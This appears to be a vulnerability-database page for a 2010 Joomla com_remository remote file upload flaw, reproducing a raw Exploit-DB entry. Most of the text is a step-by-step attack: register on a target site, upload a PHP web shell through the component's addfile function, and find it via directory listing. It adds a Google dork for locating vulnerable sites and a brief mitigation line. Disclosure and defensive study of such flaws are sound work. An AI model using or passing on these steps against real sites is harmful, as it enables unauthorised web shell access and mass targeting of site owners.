Joomla com_remository Remote Upload File

vendor:

com_remository

by:

J3yk0ob

7,5

CVSS

HIGH

Remote File Upload

434

CWE

Product Name: com_remository

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Joomla com_remository Remote Upload File

A vulnerability in Joomla's com_remository component allows an attacker to upload a malicious file to the server. An attacker can register on the site, then use the com_remository component to upload a malicious file. If the web server allows directory listing, the attacker can find the malicious file in the latest file_image_[latest Number] directory. The Dork for this exploit is inurl:"index.php?com_remository".

Mitigation:

Ensure that directory listing is disabled on the web server, and that the com_remository component is up to date.

Source

Exploit-DB raw data:

#################################################################
#                           I N F O
#
# Exploit Title: Joomla com_remository Remote Upload File
# Date: 2010-08-26 
# Author: J3yk0ob
# Home  : http://www.J3yk0ob.com
#
#################################################################
#                        E X P L O I T
#
#  1. Register On Site
#
#  2. http://www.Target.com/index.php?option=com_remository&Itemid=[Itemid]&func=addfile
#
#  3. Add your php file , example : shell.php
#
#  4. http://www.Target.com/components/com_remository_files/
#
#  5. If web server alowe to see directory you can see folder example : file_image_2
#
#  6. You can find your shell in lates file_image_[latest Number]
#
#  7 . Example URL : http://www.example.com/components/com_remository_files/file_image_14/1276100016shell.php
#
#  Dork : inurl:"index.php?com_remository"
#
#################################################################
# Contact Me
#
# Home : http://www.J3yk0ob.com
# Email : 4dm1n@J3yk0ob.com
#
##################################################################